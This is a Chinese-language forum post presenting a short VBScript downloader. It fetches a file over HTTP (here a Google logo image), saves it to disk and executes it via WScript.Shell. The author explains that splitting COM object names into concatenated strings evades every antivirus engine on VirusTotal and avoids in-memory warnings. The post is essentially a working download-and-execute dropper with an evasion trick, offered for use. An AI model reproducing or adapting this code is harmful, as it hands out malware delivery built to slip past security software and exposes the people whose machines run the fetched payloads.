VBS download脚本

在綱上看到一段相同的脚本用花指令方式繞過防毒的,但脚本就太長了;
其實只要更改一些Obj變成str就繞過去了,VirusTotal.com所有防毒也沒再報毒,而在內存運行也沒警告;
事實現時防毒的作用還頗兒戲的,肉眼可分辨的問題机器還未分辨得出,始終啟發式都還和理想中的人工智能差太遠;現時電腦的思考模式還是依賴編譯者前設的定義,判斷前設既然固定,那判斷能力當然相當受限的說...
綱上很多綱友總愛爭論自已所支持的防毒最强,但好像還未理解所謂最强也還只是能力如此有限,好像裝了"最强防毒"就代表刀槍不入一般,無論甚麼事都總以為用卡巴或NOD掃描一次就攪妥,這些概念真該重新攪清...

言歸正轉,下面的用google的圖片做個例子:


strA = "Microsoft"
strB = ".XMLHTTP"
strC = "ADODB"
strD = ".Stream"
Set ws = CreateObject("Wscript.Shell")
Set xPost = CreateObject(strA&strB)
xPost.Open "GET","http://www.google.com.hk/images/nav_logo4.png",0
xPost.Send()
Set sGet = CreateObject(strC&strD)
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
strE = xPost.responseBody
sGet.Write strE
sGet.SaveToFile "nav_logo4.png",2
ws.run "nav_logo4.png"

另外用 & 把 obj 物件字串拆開也行